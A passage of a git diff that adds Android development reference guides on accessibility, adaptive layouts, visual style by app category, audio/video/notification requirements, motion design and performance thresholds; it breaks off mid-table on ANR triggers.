input fields by setting labelFor on the TextView to reference the EditText ID. + +## Label Best Practices + +### Do's + +| Practice | Example | +|----------|---------| +| Be concise | "Save" not "Click here to save" | +| Describe action/purpose | "Delete message" | +| Be unique in context | "Delete item 3" not just "Delete" | +| Update dynamically | "Pause" ↔ "Play" based on state | + +### Don'ts + +| Avoid | Reason | +|-------|--------| +| Include element type | TalkBack announces "button" automatically | +| Say "button", "image", etc. | Redundant with accessibility info | +| Use "click" or "tap" | Input method varies | +| Leave empty/generic | "Button" or "Image" is unhelpful | + +### Examples + +| Bad | Good | +|-----|------| +| "Save button" | "Save" | +| "Click here to submit" | "Submit" | +| "Image" | "Profile photo of John" | +| "Button 1" | "Add to cart" | + +## Focus and Navigation + +### Focus Groups + +Group related elements using `screenReaderFocusable="true"` on the container and `focusable="false"` on child elements. TalkBack will announce all children's content in a single utterance. + +### Headings + +Mark section headers with `accessibilityHeading="true"`. Users can navigate between headings for quick scanning. + +### Pane Titles + +Identify screen regions with `accessibilityPaneTitle`. Accessibility services announce pane changes. + +### Focus Order + +- Natural reading order (top-to-bottom, start-to-end) +- Use `accessibilityTraversalBefore/After` for custom order +- Ensure all interactive elements are focusable +- Skip decorative elements + +## Decorative Elements + +Skip elements that don't convey information: +- Set `contentDescription="@null"` +- Or set `importantForAccessibility="no"` + +## Custom Accessibility Actions + +### Adding Actions + +Provide alternatives for gesture-based interactions using `ViewCompat.addAccessibilityAction()`. This exposes swipe actions to accessibility services. + +### Replacing Action Labels + +Make default actions more descriptive using `ViewCompat.replaceAccessibilityAction()`. Example: "Double tap and hold to add to favorites" instead of generic "long press". + +## Color and Visual Cues + +### Don't Rely on Color Alone + +Combine color with other indicators: + +| Information | Color + Alternative | +|-------------|---------------------| +| Error state | Red + error icon + text | +| Success | Green + checkmark + text | +| Required field | Red asterisk + "Required" label | +| Selected item | Highlight + checkmark + bold | +| Link text | Blue + underline | + +### Contrast Testing + +Use tools to verify contrast: +- Android Accessibility Scanner +- Contrast Checker plugins +- Manual calculation: (L1 + 0.05) / (L2 + 0.05) + +## Touch Targets + +### Minimum Sizes + +| Element | Minimum | Recommended | +|---------|---------|-------------| +| Standard | 48 × 48dp | 48 × 48dp | +| Primary actions | 48 × 48dp | 56 × 56dp | +| Kids apps | 56 × 56dp | 64 × 64dp | + +### Spacing + +- Minimum 8dp between adjacent touch targets +- Visual element can be smaller if touch area is adequate (use padding) + +## Screen Reader Announcements + +### Live Regions + +Announce dynamic content changes using `accessibilityLiveRegion`: + +| Mode | Usage | +|------|-------| +| polite | Announces when user is idle | +| assertive | Interrupts current speech | +| none | No automatic announcements | + +### Custom Announcements + +Use `announceForAccessibility()` sparingly—prefer live regions. + +## Keyboard and Hardware Navigation + +### Focus Indicators + +- Visible focus state for all interactive elements +- Don't remove default focus indicators +- Custom focus: 2dp+ border or background change + +### Keyboard Shortcuts + +- Support Tab navigation +- Enter/Space for activation +- Arrow keys for lists/grids +- Escape for dismissal + +## Testing Accessibility + +### Manual Testing + +1. **TalkBack**: Navigate entire app with screen reader +2. **Switch Access**: Test with switch navigation +3. **Keyboard**: Navigate with external keyboard only +4. **Magnification**: Test with zoom enabled +5. **Large text**: Test with 200% font scale +6. **High contrast**: Test with high contrast mode + +### Automated Testing + +| Tool | Purpose | +|------|---------| +| Accessibility Scanner | On-device scanning | +| Espresso Accessibility Checks | Automated UI tests | +| Lint checks | Static analysis | + +### Checklist + +- [ ] All interactive elements have descriptions +- [ ] Touch targets are 48dp minimum +- [ ] Color contrast meets requirements +- [ ] Focus order is logical +- [ ] Headings are properly marked +- [ ] Custom actions have descriptive labels +- [ ] Live regions announce important changes +- [ ] Keyboard navigation works +- [ ] Works with TalkBack enabled +- [ ] Works with large text (200%) diff --git a/skills/android-native-dev/references/adaptive-screens.md b/skills/android-native-dev/references/adaptive-screens.md new file mode 100644 index 0000000..d371113 --- /dev/null +++ b/skills/android-native-dev/references/adaptive-screens.md @@ -0,0 +1,231 @@ +# Adaptive Screens Guidelines + +Requirements for large screens, tablets, foldables, and multi-window support. + +## Adaptive Quality Tiers + +Google defines three progressive quality tiers for adaptive apps: + +### Tier 3: Adaptive Ready (Basic) + +Minimum requirements for all apps: + +| Requirement | Description | +|-------------|-------------| +| Full screen | App fills display, no letterboxing | +| Configuration changes | Handles rotation, folding, resizing | +| Multi-window | Supports split-screen mode | +| Basic input | Keyboard, mouse, trackpad support | + +### Tier 2: Adaptive Optimized (Better) + +Enhanced experience: + +| Requirement | Description | +|-------------|-------------| +| Layout optimization | Responsive layouts for all sizes | +| Enhanced input | Full keyboard shortcuts, mouse hover states | +| Continuity | Seamless state preservation | + +### Tier 1: Adaptive Differentiated (Best) + +Device-specific excellence: + +| Requirement | Description | +|-------------|-------------| +| Multitasking | Drag and drop, activity embedding | +| Foldable postures | Table-top mode, book mode support | +| Stylus | Full stylus input support | +| Desktop | Windowed mode optimization | + +## Screen Size Classes + +### Width-Based Classes + +| Class | Width | Typical Devices | +|-------|-------|-----------------| +| Compact | < 600dp | Phone portrait | +| Medium | 600-840dp | Tablet portrait, phone landscape | +| Expanded | > 840dp | Tablet landscape, desktop | + +### Layout Strategies + +| Screen Class | Navigation | Content Layout | +|--------------|------------|----------------| +| Compact | Bottom nav | Single pane | +| Medium | Nav rail | List-detail (optional) | +| Expanded | Nav drawer/rail | List-detail, multi-pane | + +## Configuration Changes + +### Must Handle + +| Change | Trigger | +|--------|---------| +| Rotation | Device rotated | +| Fold/Unfold | Foldable state change | +| Window resize | Multi-window adjustment | +| Split screen | Enter/exit split mode | +| Keyboard | External keyboard attach/detach | + +### Configuration Handling + +| Approach | Description | +|----------|-------------| +| Let system handle | Default, activity recreated | +| Handle manually | Declare configChanges, implement onConfigurationChanged | + +### State Preservation + +- Use ViewModel for UI state +- Use SavedStateHandle for process death +- Test with "Don't keep activities" enabled + +## Multi-Window Support + +### Requirements + +| Feature | Status | +|---------|--------| +| resizeableActivity | true (default API 24+) | +| Minimum size | Support 220dp width | +| State handling | Preserve across resize | + +### Best Practices + +- Don't assume full-screen ownership +- Handle onConfigurationChanged gracefully +- Test at minimum supported size +- Support free-form windows (desktop mode) + +## Foldable Devices + +### Postures + +| Posture | Description | Use Case | +|---------|-------------|----------| +| Flat | Fully open | Normal tablet use | +| Half-opened (tabletop) | Hinged at ~90° horizontal | Video calls, media | +| Half-opened (book) | Hinged at ~90° vertical | Reading, productivity | +| Folded | Closed | Compact phone mode | + +### Design Considerations + +- Avoid placing interactive elements on the fold +- Consider separate content for each screen segment +- Support continuity when fold state changes +- Use WindowInfoTracker to detect fold state + +## External Input Devices + +### Keyboard Support + +| Requirement | Implementation | +|-------------|----------------| +| Tab navigation | Focusable elements in order | +| Enter/Space | Activates focused element | +| Arrow keys | Navigate lists, grids | +| Shortcuts | Common actions (Ctrl+S, etc.) | +| Focus indicators | Visible focus states | + +### Mouse/Trackpad Support + +| Requirement | Implementation | +|-------------|----------------| +| Hover states | Visual feedback on hover | +| Right-click | Context menu support | +| Scroll | Smooth scrolling | +| Pointer cursor | Appropriate cursor types | + +### Stylus Support + +| Feature | Implementation | +|---------|----------------| +| Pressure sensitivity | Variable stroke width | +| Palm rejection | Ignore palm touches | +| Tilt detection | Shading effects | +| Hover preview | Show cursor before touch | + +## Navigation Patterns + +### By Screen Width + +| Width | Primary Nav | Secondary Nav | +|-------|-------------|---------------| +| < 600dp | Bottom nav (3-5 items) | Hamburger menu | +| 600-840dp | Navigation rail | Drawer on demand | +| > 840dp | Permanent drawer or rail | Drawer or none | + +### Navigation Rail Specs + +| Property | Value | +|----------|-------| +| Width | 80dp | +| Icon size | 24dp | +| Touch target | 56dp | +| Items | 3-7 destinations | +| FAB | Optional, at top | + +### Permanent Navigation Drawer + +| Property | Value | +|----------|-------| +| Width | 256-360dp | +| Position | Left edge (LTR) | +| Behavior | Always visible | +| Content | Full labels, icons | + +## Responsive Layouts + +### Breakpoints + +| Class | Width Range | +|-------|-------------| +| COMPACT | < 600dp | +| MEDIUM | 600-840dp | +| EXPANDED | > 840dp | + +Use WindowSizeClass to determine current breakpoint and adapt layout accordingly. + +## Content Considerations + +### Text Readability + +- Line length: 45-75 characters max +- Use multiple columns on wide screens +- Maintain hierarchy with consistent spacing + +### Media + +- Support multiple aspect ratios +- Provide high-resolution assets +- Consider picture-in-picture for video + +### Touch vs. Precise Input + +- Large screens often use mouse/keyboard +- Don't assume touch-only interaction +- Provide hover states and tooltips + +## Testing + +### Device Matrix + +| Device Type | Test Priority | +|-------------|---------------| +| Phone (portrait) | Required | +| Phone (landscape) | Required | +| Tablet (both orientations) | Required | +| Foldable (all postures) | High | +| Desktop/Chromebook | Medium | + +### Test Cases + +- [ ] App fills screen in all configurations +- [ ] No letterboxing or black bars +- [ ] State preserved across configuration changes +- [ ] Multi-window works at minimum size +- [ ] Keyboard navigation functional +- [ ] Mouse hover states present +- [ ] Foldable postures handled (if applicable) +- [ ] Navigation adapts to screen width diff --git a/skills/android-native-dev/references/design-style-guide.md b/skills/android-native-dev/references/design-style-guide.md new file mode 100644 index 0000000..7a17d06 --- /dev/null +++ b/skills/android-native-dev/references/design-style-guide.md @@ -0,0 +1,365 @@ +# Design Style Guide + +Match visual design to app category and target audience for cohesive user experience. + +## Style Selection Principle + +> **The visual style must match the app's purpose and audience.** +> A finance app should feel trustworthy, not playful. +> A children's app should feel fun, not corporate. + +## Style Selection Matrix + +| App Category | Visual Style | Color Palette | Typography | Interaction | +|--------------|--------------|---------------|------------|-------------| +| Utility/Tool | Minimalist | Neutral + 1 accent | Clean sans-serif | Direct, efficient | +| Finance/Banking | Professional Trust | Blue/Green/Navy | Conservative | Secure, deliberate | +| Health/Wellness | Calm & Natural | Soft greens, earth tones | Rounded, friendly | Gentle, encouraging | +| Kids (3-5) | Playful Simple | Bright primary colors | Large, rounded | Big targets, forgiving | +| Kids (6-12) | Fun & Engaging | Vibrant, varied | Bold, readable | Gamified feedback | +| Social/Entertainment | Expressive | Brand-driven | Dynamic | Gesture-rich | +| Productivity | Clean & Focused | Minimal, high contrast | Professional | Keyboard-friendly | +| E-commerce | Conversion-focused | Brand + CTA colors | Scannable | Quick actions | +| Gaming | Immersive | Theme-driven | Stylized | Custom gestures | + +## Detailed Style Profiles + +### Minimalist / iOS-like (Utility Apps) + +**When to use**: Tools, utilities, calculators, file managers, settings apps + +**Visual Characteristics**: + +| Element | Specification | +|---------|---------------| +| Colors | 2-3 colors max, neutral base | +| Whitespace | Generous, 24-48dp margins | +| Typography | Single font family, clear hierarchy | +| Icons | Line-based, consistent stroke | +| Shadows | Subtle or none | +| Borders | Thin (1dp) or none | +| Shapes | Subtle corners (8-12dp) | + +**Interaction Style**: +- Direct manipulation +- Immediate feedback +- No unnecessary animations +- Efficient task completion + +**Color Palette**: + +| Role | Light Mode | Dark Mode | +|------|------------|-----------| +| Background | #FAFAFA | #1C1C1E | +| Surface | #FFFFFF | #2C2C2E | +| Primary | #007AFF | #0A84FF | +| Text | #000000 | #FFFFFF | +| Secondary | #8E8E93 | #8E8E93 | + +**Reference Apps**: iOS Settings, Apple Notes, Google Calculator + +--- + +### Professional Trust (Finance/Business) + +**When to use**: Banking, investment, enterprise, B2B applications + +**Visual Characteristics**: + +| Element | Specification | +|---------|---------------| +| Colors | Blues, greens, navy (trust colors) | +| Whitespace | Structured, grid-based | +| Typography | Formal, conservative weights | +| Icons | Filled or outlined, consistent | +| Data visualization | Clear, accurate charts | +| Security indicators | Prominent locks, badges | + +**Interaction Style**: +- Confirmatory (double-check important actions) +- Deliberate (not rushed) +- Secure-feeling +- Clear feedback on transactions + +**Color Palette**: + +| Role | Color | Name | +|------|-------|------| +| Primary | #00695C or #1565C0 | Teal 800 / Blue 800 | +| Secondary | #37474F | Blue Grey 800 | +| Accent | #FFC107 | Amber | +| Background | #ECEFF1 | Blue Grey 50 | +| Success | #2E7D32 | Green 800 | +| Error | #C62828 | Red 800 | + +**Key Patterns**: +- Balance summaries prominent +- Transaction history easily scannable +- Secure entry for sensitive data +- Biometric authentication prompts + +**Reference Apps**: Banking apps, Trading platforms, Enterprise tools + +--- + +### Calm & Wellness (Health Apps) + +**When to use**: Meditation, fitness tracking, health monitoring, therapy + +**Visual Characteristics**: + +| Element | Specification | +|---------|---------------| +| Colors | Soft, muted, natural | +| Whitespace | Abundant (breathing room) | +| Typography | Rounded, friendly fonts | +| Shapes | Organic, soft corners (16dp+) | +| Animation | Gentle, slow transitions | +| Imagery | Nature, soft gradients | + +**Interaction Style**: +- Encouraging, not demanding +- Progress-oriented +- Gentle reminders +- Celebration of achievements + +**Color Palette**: + +| Role | Color | Name | +|------|-------|------| +| Primary | #4CAF50 | Green 500 | +| Secondary | #81C784 | Green 300 | +| Tertiary | #B2DFDB | Teal 100 | +| Background | #F1F8E9 | Light Green 50 | +| Text | #33691E | Light Green 900 | +| Accent | #FFB74D | Orange 300 | + +**Key Patterns**: +- Progress rings and charts +- Streak tracking +- Motivational messages +- Quiet notification style + +**Reference Apps**: Headspace, Calm, Apple Fitness + +--- + +### Playful & Kid-Friendly (Children's Apps) + +**When to use**: Educational games, children's content, family apps + +#### Ages 3-5 + +**Visual Characteristics**: + +| Element | Specification | +|---------|---------------| +| Colors | Bright, saturated primary colors | +| Touch targets | 56dp minimum, 64dp recommended | +| Shapes | Very rounded (full radius) | +| Typography | Large (18sp+ minimum), simple fonts | +| Icons | Large, colorful, recognizable | +| Animation | Frequent, rewarding | + +**Interaction Style**: +- Simple gestures only (tap, drag) +- No multi-finger gestures +- Forgiving error handling +- Immediate, multi-sensory feedback (sound + visual + haptic) +- No text-only buttons + +**Color Palette**: + +| Role | Color | Name | +|------|-------|------| +| Primary | #F44336 | Red 500 | +| Secondary | #FFEB3B | Yellow 500 | +| Tertiary | #2196F3 | Blue 500 | +| Background | #FFFFFF | White or soft pastels | +| Accent | #4CAF50 | Green 500 | + +#### Ages 6-12 + +**Visual Characteristics**: + +| Element | Specification | +|---------|---------------| +| Colors | Vibrant, varied palette | +| Touch targets | 48dp minimum | +| Shapes | Rounded but can be varied | +| Typography | Bold, readable, can include text | +| Icons | Stylized, character-driven | +| Animation | Gamified, achievement-based | + +**Interaction Style**: +- Can introduce some complexity +- Gamification elements +- Progress and rewards +- Some text is acceptable + +**Key Patterns for All Kids Apps**: +- Icon-based navigation (no text-only) +- Home button always visible +- Back navigation clear +- Parent gate for settings (math problem, hold button) +- Multi-sensory feedback +- Encouraging error states (no punishment) +- Joint engagement opportunities with parents + +**Reference Apps**: PBS Kids, Khan Academy Kids, Duolingo ABC + +--- + +### Expressive & Social (Entertainment Apps) + +**When to use**: Social media, content creation, entertainment + +**Visual Characteristics**: + +| Element | Specification | +|---------|---------------| +| Colors | Bold brand colors | +| Typography | Dynamic, personality-driven | +| Media | Rich, prominent | +| Animation | Expressive, delightful | +| Shapes | Brand-specific | + +**Interaction Style**: +- Gesture-rich +- Quick actions +- Social interactions prominent +- Content-first design + +**Key Patterns**: +- Feed-based layouts +- Quick action buttons (like, share, comment) +- Stories/ephemeral content +- Creation tools accessible +- Notification badges + +**Reference Apps**: Instagram, TikTok, Snapchat + +--- + +### Clean & Focused (Productivity Apps) + +**When to use**: Note-taking, task management, email, documents + +**Visual Characteristics**: + +| Element | Specification | +|---------|---------------| +| Colors | High contrast, minimal | +| Whitespace | Strategic, content-focused | +| Typography | Highly readable, clear hierarchy | +| Icons | Functional, consistent | +| Density | Adjustable (compact to comfortable) | + +**Interaction Style**: +- Keyboard-friendly +- Batch operations +- Drag and drop +- Quick capture +- Search-centric + +**Color Palette**: + +| Role | Light Mode | Dark Mode | +|------|------------|-----------| +| Primary | #1976D2 | #64B5F6 | +| Background | #FFFFFF | #121212 | +| Surface | #F5F5F5 | #1E1E1E | +| Text | #212121 | #E0E0E0 | +| Accent/Priority | #FF5722 | #FF7043 | + +**Key Patterns**: +- List views with swipe actions +- Quick add buttons +- Checkbox interactions +- Due dates and reminders +- Tags and categories + +**Reference Apps**: Notion, Todoist, Google Tasks + +--- + +### Conversion-Focused (E-commerce) + +**When to use**: Shopping, marketplace, booking apps + +**Visual Characteristics**: + +| Element | Specification | +|---------|---------------| +| Colors | Brand + clear CTA colors | +| Images | High quality, zoomable | +| Typography | Scannable, price prominent | +| Cards | Product-focused | +| Badges | Sale, new, limited | + +**Interaction Style**: +- Quick add to cart +- Easy checkout flow +- Comparison features +- Reviews accessible +- Wishlist/save for later + +**Key Patterns**: +- Grid and list view toggle +- Filter and sort +- Product detail with gallery +- Cart always accessible +- One-tap purchase options + +**Reference Apps**: Amazon, Shopify apps, Booking.com + +--- + +## Consistency Principles + +### Match Style to Subject Matter + +| App Purpose | Style Should Feel | +|-------------|-------------------| +| Utility | Efficient, invisible | +| Finance | Trustworthy, secure | +| Health | Supportive, calm | +| Kids | Safe, fun | +| Social | Expressive, personal | +| Productivity | Focused, powerful | +| Shopping | Exciting, trustworthy | + +### Internal Consistency Rules + +| Rule | Implementation | +|------|----------------| +| Same icon style | All outlined OR all filled | +| Consistent color meaning | Red = destructive, Green = success | +| Uniform spacing | Use 8dp grid | +| Predictable interaction | Same gesture = same result | +| Typography system | Use M3 type scale | + +## Anti-Patterns: Style Mismatch + +| Mismatch | Problem | +|----------|---------| +| Playful colors in banking app | Undermines trust | +| Complex gestures in kids app | Frustrates young users | +| Cluttered UI in wellness app | Defeats calming purpose | +| Boring visuals in entertainment | Fails to engage | +| Aggressive CTAs in health app | Feels manipulative | +| Childish design in professional tool | Lacks credibility | +| Dense information in casual app | Overwhelms users | + +## Implementation Checklist + +- [ ] Identified app category and target audience +- [ ] Selected appropriate style profile +- [ ] Color palette matches style +- [ ] Typography matches style +- [ ] Interaction patterns match style +- [ ] Touch targets appropriate for audience +- [ ] Animation style consistent +- [ ] Internal consistency maintained +- [ ] No style mismatches +- [ ] Tested with target users diff --git a/skills/android-native-dev/references/functional-requirements.md b/skills/android-native-dev/references/functional-requirements.md new file mode 100644 index 0000000..2d19627 --- /dev/null +++ b/skills/android-native-dev/references/functional-requirements.md @@ -0,0 +1,229 @@ +# Functional Requirements + +Audio, video, notifications, and other functional behavior requirements. + +## Audio + +### Playback Initialization + +| Requirement | Specification | +|-------------|---------------| +| Response time | < 1 second | +| If delayed | Show visual progress indicator | +| User feedback | Immediate acknowledgment of action | + +### Audio Focus Rules + +| Event | Required Action | +|-------|-----------------| +| Another app requests focus | Pause or reduce volume | +| Focus regained | Resume or restore volume | +| Playback stops | Abandon focus | + +### Audio Focus Handling + +| Focus Change | Action | +|--------------|--------| +| AUDIOFOCUS_LOSS | Stop playback | +| AUDIOFOCUS_LOSS_TRANSIENT | Pause playback | +| AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK | Reduce volume | +| AUDIOFOCUS_GAIN | Resume playback | + +### Background Playback + +| Requirement | Implementation | +|-------------|----------------| +| Continue when backgrounded | Use Foreground Service | +| Notification | MediaStyle notification required | +| Media controls | System media controls integration | +| Session | MediaSession for system integration | + +## Video + +### Picture-in-Picture (PiP) + +| Requirement | Specification | +|-------------|---------------| +| Video apps | Should support PiP | +| Aspect ratio | 16:9 to 2.39:1 | +| Auto-enter | When user navigates away during playback | + +### Video Encoding + +| Standard | Requirement | +|----------|-------------| +| Compression | HEVC (H.265) recommended | +| Fallback | H.264 for compatibility | +| Quality | Adaptive based on network | + +### Video Player Requirements + +| Feature | Implementation | +|---------|----------------| +| Fullscreen | Support landscape | +| Controls | Play, pause, seek, volume | +| Captions | Support closed captions | +| Resume | Remember playback position | + +## Notifications + +### Channel Best Practices + +| Practice | Reason | +|----------|--------| +| Multiple channels | User can control each type | +| Descriptive names | User understands purpose | +| Appropriate importance | Match user expectation | +| Don't share channels | Different content = different channel | + +### Notification Priority + +| Importance | Usage | +|------------|-------| +| HIGH | Time-sensitive (messages, calls) | +| DEFAULT | Normal notifications | +| LOW | Background info | +| MIN | Minimal interruption | + +### Notification Content Rules + +| Do | Don't | +|-----|-------| +| Relevant information | Cross-promotion | +| Clear, concise text | Advertising other products | +| Actionable content | Unnecessary interruptions | +| Set timeouts | Persistent non-ongoing notifications | + +### Messaging Apps Requirements + +| Feature | Description | +|---------|-------------| +| MessagingStyle | Use for conversation notifications | +| Direct reply | Support inline reply action | +| Conversation shortcuts | Enable direct share | +| Bubbles | Support floating conversations | + +### Notification Grouping + +Group related notifications together with a summary notification. Set appropriate group keys and summary flags. + +## Sharing + +### Android Sharesheet + +Use the system sharesheet for sharing content. Create an ACTION_SEND intent with appropriate type and extras, then use createChooser(). + +### Direct Share + +Provide conversation shortcuts for Direct Share ranking: +- Create ShortcutInfo for each conversation +- Set appropriate categories +- Push dynamic shortcuts + +## Background Services + +### Service Restrictions + +| Rule | Implementation | +|------|----------------| +| Avoid long-running services | Use WorkManager | +| No background starts (API 26+) | Use foreground service or JobScheduler | +| Battery-efficient | Batch work, respect Doze | + +### Poor Background Service Uses + +| Don't Use For | Alternative | +|---------------|-------------| +| Maintaining network connection | FCM (push notifications) | +| Persistent Bluetooth | Companion device manager | +| Keeping GPS on | Geofencing, fused location | +| Polling server | FCM or WorkManager | + +## State Management + +### State Preservation Requirements + +| Scenario | Required Behavior | +|----------|-------------------| +| App switcher return | Exact previous state | +| Device wake | Exact previous state | +| Process death | Restore critical state | +| Configuration change | Seamless transition | + +### State Categories + +| State Type | Storage | +|------------|---------| +| UI state (scroll, selection) | ViewModel + SavedState | +| User input (forms) | SavedState | +| Navigation | NavController state | +| Persistent data | Room database | + +## Navigation + +### Back Button/Gesture + +| Requirement | Implementation | +|-------------|----------------| +| System back | Navigate to previous screen | +| Gesture navigation | Support back gesture | +| No custom back buttons | Use system navigation | +| Predictable | User knows what back does | + +## Gestures + +### Gesture Navigation Support + +| Gesture | Default Action | +|---------|----------------| +| Swipe from left edge | Back | +| Swipe up from bottom | Home | +| Swipe up and hold | Recent apps | + +### Custom Gestures + +| Practice | Reason | +|----------|--------| +| Avoid edge swipes | Conflicts with navigation | +| Provide alternatives | Not all users gesture-capable | +| Test with gesture nav | Ensure no conflicts | + +Handle system gesture insets to avoid conflicts with edge gestures. + +## Functional Checklist + +### Audio +- [ ] Playback starts within 1 second +- [ ] Audio focus requested and released +- [ ] Responds to focus changes (duck/pause) +- [ ] Background playback with notification +- [ ] MediaSession integration + +### Video +- [ ] Picture-in-picture supported +- [ ] HEVC encoding used +- [ ] Playback position remembered +- [ ] Captions supported + +### Notifications +- [ ] Appropriate channels defined +- [ ] Correct importance levels +- [ ] No promotional content +- [ ] Grouped when appropriate +- [ ] Timeouts set where applicable + +### Messaging (if applicable) +- [ ] MessagingStyle used +- [ ] Direct reply supported +- [ ] Conversation shortcuts +- [ ] Bubbles supported + +### Background +- [ ] WorkManager for background work +- [ ] No long-running services +- [ ] Battery-efficient design + +### Navigation +- [ ] Standard back behavior +- [ ] Gesture navigation supported +- [ ] State preserved across lifecycle diff --git a/skills/android-native-dev/references/motion-system.md b/skills/android-native-dev/references/motion-system.md new file mode 100644 index 0000000..c0dd87e --- /dev/null +++ b/skills/android-native-dev/references/motion-system.md @@ -0,0 +1,203 @@ +# Motion System Guidelines + +Animation and transition specifications for Material Design 3. + +## Motion Principles + +### Four Core Characteristics + +| Principle | Description | +|-----------|-------------| +| **Responsive** | Quickly responds to user input at the point of interaction | +| **Natural** | Follows real-world physics (gravity, friction, momentum) | +| **Aware** | Elements are aware of surroundings and other elements | +| **Intentional** | Guides focus to the right place at the right time | + +## Duration Guidelines + +### By Interaction Type + +| Type | Duration | Usage | +|------|----------|-------| +| Micro | 50-100ms | Ripples, state changes, hover | +| Short | 100-200ms | Simple transitions, toggles | +| Medium | 200-300ms | Expanding, collapsing, revealing | +| Long | 300-500ms | Complex choreography, page transitions | + +### By Device Type + +| Device | Typical Duration | Adjustment | +|--------|------------------|------------| +| Mobile | 300ms | Baseline | +| Tablet | 390ms | +30% slower | +| Desktop | 150-200ms | Faster, more responsive | +| Wearable | 210ms | -30% faster | + +### Duration Rules + +- **Maximum**: Keep under 400ms for most transitions +- **User-initiated**: Faster (closer to instant feedback) +- **System-initiated**: Can be slightly longer +- **Loading states**: Use indeterminate indicators for unknown duration + +## Easing Curves + +### Standard Curves + +| Curve | Usage | Characteristics | +|-------|-------|-----------------| +| **Standard** | Most common transitions | Quick acceleration, slow deceleration | +| **Emphasized** | Important/significant transitions | More dramatic curve | +| **Decelerate** | Elements entering screen | Starts fast, ends slow | +| **Accelerate** | Elements leaving screen permanently | Starts slow, ends fast | +| **Sharp** | Elements temporarily leaving | Quick, snappy motion | + +### Curve Values (Cubic Bezier) + +| Curve | Value | +|-------|-------| +| Standard | cubic-bezier(0.2, 0.0, 0.0, 1.0) | +| Emphasized | cubic-bezier(0.2, 0.0, 0.0, 1.0) | +| Decelerate | cubic-bezier(0.0, 0.0, 0.0, 1.0) | +| Accelerate | cubic-bezier(0.3, 0.0, 1.0, 1.0) | + +## Movement Patterns + +### Arc Motion + +- Use natural, concave arcs for diagonal movement +- Single-axis movement (horizontal/vertical only) stays straight +- Elements entering/exiting screen move on single axis + +### Choreography + +- **Stagger**: Offset timing for related elements (20-40ms between) +- **Cascade**: Sequential reveal from a focal point +- **Shared motion**: Elements that move together maintain relationship + +## Transition Patterns + +### Container Transform + +Best for: Navigation from card/list item to detail screen + +- Origin container morphs into destination +- Maintains visual continuity +- Content fades during transformation + +### Shared Axis + +Best for: Same-level navigation (tabs, stepper) + +| Axis | Direction | Usage | +|------|-----------|-------| +| X-axis | Horizontal | Tabs, horizontal paging | +| Y-axis | Vertical | Vertical lists, feeds | +| Z-axis | Depth | Parent-child relationships | + +### Fade Through + +Best for: Unrelated screen transitions + +- Outgoing content fades out +- Incoming content fades in +- Brief overlap period +- No shared elements + +### Fade + +Best for: Show/hide single elements + +- Simple opacity change +- Optionally combine with scale +- Quick duration (100-200ms) + +## Component-Specific Motion + +### FAB + +| State | Animation | +|-------|-----------| +| Appear | Scale up + fade in | +| Disappear | Scale down + fade out | +| Transform | Morph to extended FAB | +| Press | Elevation change (3dp → 8dp) | + +### Bottom Sheet + +| State | Animation | +|-------|-----------| +| Expand | Slide up with decelerate curve | +| Collapse | Slide down with accelerate curve | +| Dismiss | Swipe down with velocity-based duration | + +### Navigation + +| Pattern | Animation | +|---------|-----------| +| Push | Incoming slides from right, outgoing shifts left | +| Pop | Incoming slides from left, outgoing shifts right | +| Modal | Slide up from bottom | + +### Cards + +| State | Animation | +|-------|-----------| +| Expand | Container transform to detail | +| Press | Subtle elevation increase | +| Reorder | Follow finger with physics | + +## Loading & Progress + +### Indeterminate Indicators + +- Use for unknown duration +- Continuous, looping animation +- M3 Expressive: Customizable waveform and thickness + +### Determinate Indicators + +- Use when progress is measurable +- Smooth, linear progression +- Update frequently for responsiveness + +### Skeleton Screens + +- Show layout structure immediately +- Subtle shimmer animation +- Replace with content as it loads + +## Accessibility Considerations + +### Reduced Motion + +- Respect prefers-reduced-motion setting +- Provide alternatives: + - Instant transitions (no animation) + - Simple fade instead of complex motion + - Static loading indicators + +### Motion Duration + +- Keep essential feedback < 100ms +- Avoid motion that could trigger vestibular issues +- Test with motion sensitivity settings enabled + +## Implementation Notes + +### Android Animation APIs + +| API | Usage | +|-----|-------| +| MotionLayout | Complex, coordinated animations | +| Transition | Activity/Fragment transitions | +| Animator | Property animations | +| AnimatedContent | Compose content transitions | +| animateContentSize | Compose size changes | + +### Performance Tips + +- Use hardware layers for complex animations +- Avoid animating layout properties (use transform) +- Profile with GPU rendering tools +- Target 60 FPS (16ms per frame) diff --git a/skills/android-native-dev/references/performance-stability.md b/skills/android-native-dev/references/performance-stability.md new file mode 100644 index 0000000..209fbc2 --- /dev/null +++ b/skills/android-native-dev/references/performance-stability.md @@ -0,0 +1,223 @@ +# Performance & Stability Guidelines + +Android Vitals thresholds, performance requirements, and stability best practices. + +## Android Vitals Thresholds + +### Core Metrics (Google Play) + +Exceeding these thresholds affects app visibility on Google Play: + +| Metric | Overall Threshold | Per Phone Model | Per Watch Model | +|--------|-------------------|-----------------|-----------------| +| User-perceived crash rate | **1.09%** | 8% | 4% | +| User-perceived ANR rate | **0.47%** | 8% | 5% | +| Excessive battery usage | 1% | - | 1% | +| Excessive wake locks | 5% | - | - | + +### Consequences of Exceeding Thresholds + +- Reduced app visibility in Google Play +- Warning label on store listing +- Lower ranking in search results +- Negative impact on user trust + +## Startup Performance + +### Requirements + +| Metric | Target | Maximum | +|--------|--------|---------| +| Cold start | < 1 second | 2 seconds | +| Warm start | < 500ms | 1 second | +| Hot start | < 100ms | 500ms | + +### If Startup Exceeds 2 Seconds + +Must provide visual feedback: +- Progress indicator +- Splash screen with animation +- Loading skeleton + +### Optimization Techniques + +| Technique | Impact | +|-----------|--------| +| Lazy initialization | Defer non-critical work | +| Async loading | Move I/O off main thread | +| View hierarchy optimization | Reduce layout depth | +| App Startup library | Initialize components efficiently | +| Baseline Profiles | Pre-compile hot paths | + +## Rendering Performance + +### Frame Rate Requirements + +| Target | Frame Time | Notes | +|--------|------------|-------| +| 60 FPS | ≤ 16.67ms | Standard requirement | +| 90 FPS | ≤ 11.11ms | High refresh rate displays | +| 120 FPS | ≤ 8.33ms | Premium devices | + +### Jank Detection + +| Metric | Threshold | Severity | +|--------|-----------|----------| +| Slow frames | > 16ms | Warning | +| Frozen frames | > 700ms | Critical | +| Jank rate | > 1% of frames | Poor experience | + +### Common Rendering Issues + +| Issue | Cause | Solution | +|-------|-------|----------| +| Overdraw | Multiple layers drawn | Reduce background stacking | +| Deep hierarchy | Complex view nesting | Use ConstraintLayout, Compose | +| Main thread work | Blocking operations | Move to background thread | +| Large bitmaps | Unoptimized images | Downsample, use vector | + +## ANR Prevention + +### ANR Triggers + +| Scenario | Timeout | +|----------|---------| +| Input dispatch | 